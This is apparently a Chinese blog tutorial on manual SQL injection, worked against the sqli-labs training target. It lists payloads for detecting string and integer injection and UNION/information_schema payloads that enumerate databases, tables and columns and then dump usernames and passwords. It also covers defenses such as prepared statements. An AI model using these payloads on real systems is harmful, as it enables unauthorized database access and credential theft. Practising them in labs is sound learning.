如果一件事情你不能讲清楚,十有八九你还没有完全理解。
玩 Web 少说也有个一年半载了,看的多了,接触的知识也多了,难免会有些杂乱,说不定哪天忘个一二的,为了避免重复加无休止的找轮子,造轮子,只能把平时的知识点记录一下来了。
前言
本篇是SQL注入的实战篇,与细节篇相辅相成。
SQL注入漏洞
风险等级:高危
漏洞描述
SQL注入漏洞产生的原因是网站应用程序在编写时未对用户提交至服务器的数据进行合法性校验,即没有进行有效地特殊字符过滤,导致网站服务器存在安全风险,这就是SQL Injection,即SQL注入漏洞。
漏洞危害
- 机密数据被窃取;
- 核心业务数据被篡改;
- 网页被篡改;
- 数据库所在服务器被攻击从而变为傀儡主机,导致局域网(内网)被入侵。
修复建议
- 在网页代码中对用户输入的数据进行严格过滤;(代码层)
- 部署Web应用防火墙;(设备层)
- 对数据库操作进行监控。(数据库层)
代码层最佳防御sql漏洞方案
采用sql语句预编译和绑定变量,是防御sql注入的最佳方法。
原因
采用了PreparedStatement,就会将sql语句: "select id, no from user where id=?" 预先编译好,也就是SQL引擎会预先进行语法分析,产生语法树,生成执行计划,也就是说,后面你输入的参数,无论你输入的是什么,都不会影响该sql语句的 语法结构了,因为语法分析已经完成了,而语法分析主要是分析 sql命令 ,比如 select ,from ,where ,and, or ,order by 等等。所以即使你后面输入了这些 sql命令 ,也不会被当成 sql命令 来执行了,因为这些 sql命令 的执行, 必须先的通过语法分析,生成执行计划,既然语法分析已经完成,已经预编译过了,那么后面输入的参数,是绝对不可能作为 sql命令 来执行的,只会被当做字符串字面值参数,所以sql语句预编译可以防御sql注入。
其他防御方式
正则过滤
预备知识
本文实验环境
SQL注入之基础手注实战
本篇实验靶机为 sqli-labs
注入流程
判断注入类型 → 获取数据库名 → 获取数据库下的数据表名 → 获取当前数据表下的列名 → 获取数据
判断注入与注入类型
字符型
搭建好 sqli-labs 靶机系统之后,我们来看我们的实验第一题。

当我们正确输入 id=1 的时候界面返回正常,那我们加多一个引号会发什么呢?

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’1’’ LIMIT 0,1’ at line 1
当我们输入一个引号之后,页面出现错误回显,或者页面出现问题等等原因,很有可能此处存在 字符型SQL注入
当然不止这一种判断手法,我们也可以使用 or and 来判断。
1 | // 使用 or 来判断, 当注入下面语句页面正常返回 |
常用与字符型注入的判断:
‘ or 1=1–+
“ or 1=1–-+
‘) or 1=1–-+
“) or 1=1–-+
“)) or 1=1–-+
整数型
我们来到 sqli-labs 的第二题,在我们输入id=1的时候页面正常回显。

判断是否存在注入和注入的类型
1 | // 输入如下语句报错,请自行搭建环境查看页面回显的错误信息 |
常用与整数型注入的判断:
or 1=1–+
) or 1=1–+
使用 ORDER BY 判断程序中查询代码需要查询的列数
因为 UNION 内部的每个 SELECT 语句必须拥有相同数量的列。所以我们要事先知道 SELECT 语句要查询几列。我们使用 ORDER BY 来进行判断。
1 | -- 原始的表达式可能如下面这般 |
ORDER BY 关键字用于对结果集按照一个列或者多个列进行排序。应为 SELECT 查询出来的没有第四列,所以就报错了,以此办法就可以判断 SELECT 语句中查询的列数了。
用正向的方法分析逆向,个人感觉还是蛮好理解的。

获取数据库名
以下步骤以字符型注入为基础,整数型注入思路类似,可自行思考。
还记得 SQL注入之细节 - 入门篇 里的 GROUP_CONCAT 函数 与 UNION 联合查询吗? 下面我们将他们运用到实战中。
我们需要注入的语句: ' union select 1,group_concat(schema_name),3 from information_schema.schemata%23

其实就是使用MySQL系统函数查询所有数据库名称再用 GROUP_CONCAT() 讲多行打印为一行,
我们用正向的方法来看:
1 | -- 在 union 之前的查询语句 WHERE 的判断需要不成立 才能在前台将我们想要的数据输出,所以这里给 id='' |
是不是很好理解了 emmm,,…. 好像还是说的不是很清楚, 如果还是不清楚建议回去看一遍 SQL注入之细节 - 入门篇 还有学习下 SQL基础 很简单的。
获取数据库下的数据表名
我们来获取我们靶机数据库中的所有表名,思路差不多,我们继续来调用系统数据库。
需要注入的语句: ' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'%23

继续使用正向的方法来分析一下
1 | mysql> select id,username,password from users where id='' UNION SELECT 1,GROUP_CONCAT(table_name),3 FROM information_schema.tables WHERE table_schema='security'; |
获取当前数据表下的列名
现在就差知道数据表中的列名就可以脱裤子了,即将到最激动人心的时刻了。
注入语句:' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'%23

继续使用正向的方法来分析一下
1 | mysql> select id,username,password from users where id='' UNION SELECT 1,GROUP_CONCAT(column_name),3 FROM information_schema.columns WHERE table_name='users'; |
emmm…. 没啥好说的,思路都是一样,也就是需要熟悉一下 information_schema 数据库。
我们来脱裤子
现在我们确认了数据库,表,列名,我们就可以开始脱裤子了,激不激动,兴不兴奋?
注入语句: ' union select 1,GROUP_CONCAT(username),GROUP_CONCAT(password) from users%23

1 | mysql> select id,username,password from users where id='' UNION SELECT 1,GROUP_CONCAT(username),GROUP_CONCAT(password) FROM users; |
告一段落
发现总结的也蛮累的,先告一段落,重点是后面的盲注等等的注入手法。